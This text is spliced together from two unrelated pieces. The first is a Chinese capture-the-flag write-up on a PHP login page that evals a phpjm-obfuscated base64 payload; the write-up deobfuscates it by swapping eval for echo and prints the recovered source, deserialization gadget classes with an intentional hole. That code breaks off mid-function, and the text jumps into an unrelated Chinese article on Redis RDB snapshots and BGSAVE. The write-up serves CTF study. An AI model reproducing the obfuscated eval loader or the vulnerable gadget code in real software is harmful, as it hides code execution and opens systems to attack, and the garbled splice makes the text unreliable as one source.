            font-family: Arial, sans-serif;
            background-color: #f0f0f0;
            padding: 20px;
        }

        .container {
            max-width: 400px;
            margin: 0 auto;
            background-color: #fff;
            padding: 20px;
            border-radius: 5px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        }

        .alert {
            padding: 10px;
            background-color: #f8d7da;
            color: #721c24;
            border-radius: 5px;
            margin-bottom: 10px;
        }

        form {
            margin-bottom: 20px;
        }

        form input[type="text"],
        form input[type="password"],
        form input[type="submit"] {
            width: 100%;
            padding: 10px;
            margin-bottom: 10px;
            border: 1px solid #ccc;
            border-radius: 3px;
        }

        form input[type="submit"] {
            background-color: #007bff;
            color: #fff;
            border: none;
            cursor: pointer;
        }
    </style>
</head>

<body>
<div class="container">
    <h1>Welcome to the login testing page!</h1>
    <hr>
    <?php
    $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
        .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
        .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
    eval($O00O0O("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
    ?>
    <form method="POST">
        <input type="text" name="username" placeholder="Username" required>
        <input type="password" name="password" placeholder="Password" required>
        <input type="submit" value="Login">
    </form>

</div>
</body>

</html>

审计完以后,去掉无用的图层一系列代码,剩下用的就是

<?php
    $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
        .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
        .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
    eval($O00O0O("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
    ?>
    

打眼一看混淆,考的还挺新的,给大家送一个博客,我只讲这题。。。0.0
“奇安信攻防社区-phpjm混淆解密浅谈

先把qsnctf.php的eval改成echo

<?php
    $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
        .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
        .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
    echo($O00O0O("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
    ?>

得出这个乱七八糟的东西:

$O0O000="KXpJtRrgqUOHcFewyoPSWnCbvkfMIdmxzsELYZBVGhDNuaATlQjiTaMhyQJUrZntqeKBsNwRckmlodVASYpWxjLEbIfCgvOFuizDPGXHwO9BitzTSmzUSgCsqp9sa3hPqg9sYgPuIsUBTDjTmHzUSmfXlgexqsfxigdTSmzUStjTSmzUSmzUSmfBYchjicAUhg5PKtG7mHzUSmzUSmzUqtCHlgPXSmQBbaFxnBNUSmzUSmzUStf1bpWMbsfpYc5XYgPolHfVa3QoZ3Qsic5kTmP7mHzUSmzUSmzUSmzUSmQ0igPxED5uIav0nXMGDeNNhtQNiaAywkfvq3AMnBNUSmzUSmzUSt0TSmzUSt0TSmzUSgFjbaFxStYomHzUSmf7mHzUSmzUSmzUqtCHlgPXSmQxIaU7mHzUSmzUSmzUqtCHlgPXSmQvI2Z7mHzUSmzUSmzUqtCHlgPXSmQMlkQPlkQMl247mHzUSmzUSmzUqtCHlgPXSgI1lpF0ic9uSe9VIgCxYth1b3GNTajTSmzUSmzUSmzUSmzUIcFNlszHRgdUCth5StFPqpPvlgP6IRfFIRLHnBNUSmzUSmzUSmzUSmzdYgvMqs0+ic5xqgCXYmUMnBNUSmzUSmzUSt0TSmzUSmzUSmfpYc5XYgPolHfMlkFBIcF0TmP7mHzUSmzUSmzUSmzUSgPpTmQ0igPxED5xIaU9wRYHl3dkhHbdYgvMqs0+bcYPwD0kIcPkitQPIc4kTGNUSmzUSmzUSmzUSmf7mHzUSmzUSmzUSmzUSmzUSmfPb2voSmQ0igPxED5MlkQPlkQMl247mHzUSmzUSmzUSmzUSt0TSmzUSmzUSmzUSmzUIcFNlszH8h+IvDL45lTf8h+SjHS7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSgFjbaFxSLQPlc8TSmzUStjTSmzUSmzUSmfBYchjicAUhgL7mHzUSmzUSmzUq3QvYgPXSgI1lpF0ic9uSe9Vb2ejleF0baQMbsUdbcF0ic9uEmzdIg8MmHzUSmzUSmzUKBNUSmzUSmzUSmzUSmfklg9HbcBUhgS7mHzUSmzUSmzUSmzUSmQHTmQdl1jBaRd7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSmQHSO0Uhe9GD1FZcsYBbaFxY29sImYYnBNUSmzUhgLUwRzda1fwZ1Qlh3CxIahubc1Ph107mHzUSmfzYc5xIahMbcWMKpZNhgLMnBNUSmzUicbUTmeMq3FPYmUdbHdMStjTSmzUSmzUSmfPb2voSmS9wD09wD09wD09wD09wD09wD1GDeNURc5BYaGUcc91qHfnbc1PSD09wD09wD09wD09wD09wD09wRS7mHzUSmf9mHzUSmfMIHUdbD09h2edlcPuhsbphgS9wRSkixepYcv1h3AUYgCxYmfdIc1oSHdTSmzUStjTSmzUSmzUSmfPb2voTmEkploPoIapHhOPHM8HTDjTSmzUSt0TmHzUSmz/wU=="; eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000), $OO0O00($O0O000,0,$OO0000))));?>

替换:

<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
    .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
    .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
$O0O000="KXpJtRrgqUOHcFewyoPSWnCbvkfMIdmxzsELYZBVGhDNuaATlQjiTaMhyQJUrZntqeKBsNwRckmlodVASYpWxjLEbIfCgvOFuizDPGXHwO9BitzTSmzUSgCsqp9sa3hPqg9sYgPuIsUBTDjTmHzUSmfXlgexqsfxigdTSmzUStjTSmzUSmzUSmfBYchjicAUhg5PKtG7mHzUSmzUSmzUqtCHlgPXSmQBbaFxnBNUSmzUSmzUStf1bpWMbsfpYc5XYgPolHfVa3QoZ3Qsic5kTmP7mHzUSmzUSmzUSmzUSmQ0igPxED5uIav0nXMGDeNNhtQNiaAywkfvq3AMnBNUSmzUSmzUSt0TSmzUSt0TSmzUSgFjbaFxStYomHzUSmf7mHzUSmzUSmzUqtCHlgPXSmQxIaU7mHzUSmzUSmzUqtCHlgPXSmQvI2Z7mHzUSmzUSmzUqtCHlgPXSmQMlkQPlkQMl247mHzUSmzUSmzUqtCHlgPXSgI1lpF0ic9uSe9VIgCxYth1b3GNTajTSmzUSmzUSmzUSmzUIcFNlszHRgdUCth5StFPqpPvlgP6IRfFIRLHnBNUSmzUSmzUSmzUSmzdYgvMqs0+ic5xqgCXYmUMnBNUSmzUSmzUSt0TSmzUSmzUSmfpYc5XYgPolHfMlkFBIcF0TmP7mHzUSmzUSmzUSmzUSgPpTmQ0igPxED5xIaU9wRYHl3dkhHbdYgvMqs0+bcYPwD0kIcPkitQPIc4kTGNUSmzUSmzUSmzUSmf7mHzUSmzUSmzUSmzUSmzUSmfPb2voSmQ0igPxED5MlkQPlkQMl247mHzUSmzUSmzUSmzUSt0TSmzUSmzUSmzUSmzUIcFNlszH8h+IvDL45lTf8h+SjHS7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSgFjbaFxSLQPlc8TSmzUStjTSmzUSmzUSmfBYchjicAUhgL7mHzUSmzUSmzUq3QvYgPXSgI1lpF0ic9uSe9Vb2ejleF0baQMbsUdbcF0ic9uEmzdIg8MmHzUSmzUSmzUKBNUSmzUSmzUSmzUSmfklg9HbcBUhgS7mHzUSmzUSmzUSmzUSmQHTmQdl1jBaRd7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSmQHSO0Uhe9GD1FZcsYBbaFxY29sImYYnBNUSmzUhgLUwRzda1fwZ1Qlh3CxIahubc1Ph107mHzUSmfzYc5xIahMbcWMKpZNhgLMnBNUSmzUicbUTmeMq3FPYmUdbHdMStjTSmzUSmzUSmfPb2voSmS9wD09wD09wD09wD09wD09wD1GDeNURc5BYaGUcc91qHfnbc1PSD09wD09wD09wD09wD09wD09wRS7mHzUSmf9mHzUSmfMIHUdbD09h2edlcPuhsbphgS9wRSkixepYcv1h3AUYgCxYmfdIc1oSHdTSmzUStjTSmzUSmzUSmfPb2voTmEkploPoIapHhOPHM8HTDjTSmzUSt0TmHzUSmz/wU=="; echo ('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000), $OO0O00($O0O000,0,$OO0000))));
?>

这样就得到了源码,长这样:

<?php
error_reporting(0);

class shi
{
public $next;
public $pass;
public function __toString(){
$this->next::PLZ($this->pass);
}
}
class wo
{
public $sex;
public $age;
public $intention;
public function __destruct(){
echo "Hi Try serialize Me!";
$this->inspect();
}
function inspect(){
if($this->sex=='boy'&&$this->age=='eighteen')
{
echo $this->intention;
}
echo "


Redis24篇集合

1 介绍

从上一篇的 《
深刻理解高性能Redis的本质
》 中可以知道, 我们经常在数据库层上加一层缓存(如Redis),来保证数据的访问效率。
这样性能确实也有了大幅度的提升,因为从内存中取数远比从磁盘中快的多,但是本身Redis也是一层服务,也存在宕机、故障的可能性。
一旦服务挂起,可能生产的后果包括如下几方面:
1. Redis的数据是存在内存中的,所以一旦挂起,内存中的数据会全部丢失。
2. I/O从内存层级迁移到磁盘层级,性能极速下降。
3. 原本访问缓存的请求会透过缓存层直接投向数据库,给数据库带来极大的压力,甚至导致雪崩。

所以,缓存层崩溃产生的后果是灾难的。为了避免宕机和宕机后的数据丢失, 为了保证数据的快速恢复,Redis提供了两个持久化数据的能力,RDB Snapshot 和 AOF(Append Only FIle)日志。本章我们先来看看RDB快照的使用。

2 什么是RDB内存快照

大规模高并发的分布式场景,经常会遇到问题就是Redis挂起,导致访问失败,而所有的请求透过缓存层投向数据库,给数据库造成极大的压力,甚至雪崩。

而Redis的数据是存储在高速缓存中,即使我们重启并且恢复使用,缓存池依旧是空的,因为内存被释放了。
重新建立缓存的过程,对数据库也是一个暴击的过程,很可能会导致整个系统调用链的雪崩。参考我的这篇《
架构与思维:一次缓存雪崩的灾难复盘

所以更为稳妥的办法是持久化到磁盘中,这样哪怕重启数据也不会消失。但是如果每次数据的变化(增、删、改)都要写内存并同时写磁盘,这样成本太高,内存+磁盘的持续数据同步,会让 Redis 性能大大降低。而且还要保证原子性操作,避免内存和磁盘的数据不一致。

2.1 使用内存快照

为了避免实时写入高频操作磁盘带来的负面效应。Redis提供了内存快照策略。
工作原理是,Redis在指定的时间间隔内,将内存中的数据集快照定格下来,写入磁盘,并存储在副本文件中。当Redis重启时,这些快照文件会被自动读取并恢复到内存中。打游戏的同学可以想象存盘,下一次恢复游戏,可以从存盘的地方读取游戏直接开始。
image
如上图,将指定时间的Redis缓存数据进行快照。当发生故障的时候,直接从最接近的时间点进行数据恢复(即21:10的故障按照21点的RDB快照进行恢复),直接将 RDB 文件读入内存完成恢复。

2.2 生成RDB策略

在Redis的RDB持久化方案中,提供了两种模式来生成RDS文件,分别是 SAVE 和 BGSAVE。虽然都是用于创建内存快照并保存到磁盘的命令,但两者在执行方式和影响上有明显的区别。

SAVE命令会阻塞当前Redis服务器进程,直到RDB文件创建完毕。
在执行SAVE命令期间,Redis不能处理其他命令,阻塞主进程,这会导致服务器无法响应其他请求,直到RDB过程完成为止。因此,当数据量较大时,使用SAVE命令可能会对Redis的性能产生较大影响。

BGSAVE命令则会在后台异步进行快照操作,同时Redis还可以继续处理客户端的请求。
BGSAVE命令通过fork一个子进程来完成持久化任务,这样主进程就不会被阻塞,从而保证了Redis的高可用性。但是,由于需要fork一个子进程,BGSAVE命令可能会消耗更多的内存资源。

2.2.1 SAVE模式

save模式是主进程执行,非常不建议使用主进程执行的方式,在笔者的 《
深刻理解高性能Redis的本质
》 一文中,
我们介绍了它的主操作都是在单线程模型上完成的。所以 RDB 文件生成会影响主线程的网络I/O和键值对读写,导致客户端正常操作被阻塞,所以应该尽量避免。

2.2.2 BGSAVE模式

bgsave是后台异步执行,通过调用glibc函数创建一个子进程专门用于写入RDB文件,从而避免了主线程的阻塞。当执行BGSAVE命令时,Redis会继续处理其他客户端请求(比如Get、Set等),而子进程会在后台完成RDB文件的生成。这是Redis RDB文件生成的默认配置,也是推荐的方式。
image
上图执行流程如下:

  1. 执行bgsave命令,Redis主进程判断当前是否存在正在执行的RDB/AOF子进程,若果存在则bgsave命令直接返回。
  2. 主进程执行fork操作创建子进程,fork操作过程中父进程会阻塞(创建子进程),通过
    info stats
    命令查看
    latest_fork_usec
    选项,可以获取最近一个fork操作的耗时,单位为微秒
  3. 父进程fork完成后,bgsave命令返回
    Background saving started
    信息,之后的操作都是异步的了,不再阻塞主进程,Client的Get、Set等操作依然可以执行。
  4. fork子进程的做法是通过调用glibc函数进行创建的,这步骤跟第2点对齐,都是会有短暂的阻塞。
  5. 子进程创建RDB文件,在主进程内存中生成临时快照文件,完成后对原有文件进行原子替换。执行
    lastsave
    命令可以获取最后一次生成RDB的时间,对应
    rdb_last_save_time
    选项。
  6. 子进程发送信号给主进程表示完成,主进程接受到信息并更新统计记录。

以上整个过程保证了快照的完整性,也允许主进程同时对数据进行修改,避免了对正常业务的影响。

2.2.3 避免过频的全量Snapshot

虽然说Redis 使用 bgsave 函数 fork 子进程在后台完成内存中的数据做快照,并不阻塞父进程继续处理客户端的操作。
但过频执行全量数据快照,依然会导致严重的性能开销,主要如下:

  1. 频繁生成 RDB 文件写入磁盘,磁盘空间占用大,IO压力大,也会降低效率。
  2. fork 出来的 bgsave 子进程因为共享主线程的资源,一定程度上会影响主线程的运行性能。

2.3 总结

快照的恢复速度快,但是生成 RDB 文件的频率需要把握一个度,频率过低快照间隔数据较大,丢失的数据就会比较多;频率太快,又会消耗额外开销,降低Redis性能。
RDB内存快照优缺点如下:
优点:

  • RDB以一种二进制格式+数据压缩的方式写磁盘,文件轻量。
  • 数据恢复速度快,用于灾难恢复的场景,加载 RDB 恢复数据远快于 AOF 方式。

缺点:

  • 无法做到实时持久化,每次都要创建子进程, 频繁操作成本过高
  • 保存后的二进制文件, 存在老版本不兼容新版本 rdb 文件的问题
  • 数据恢复不完全,快照时间点和故障时间点之间必然有时间差、数据差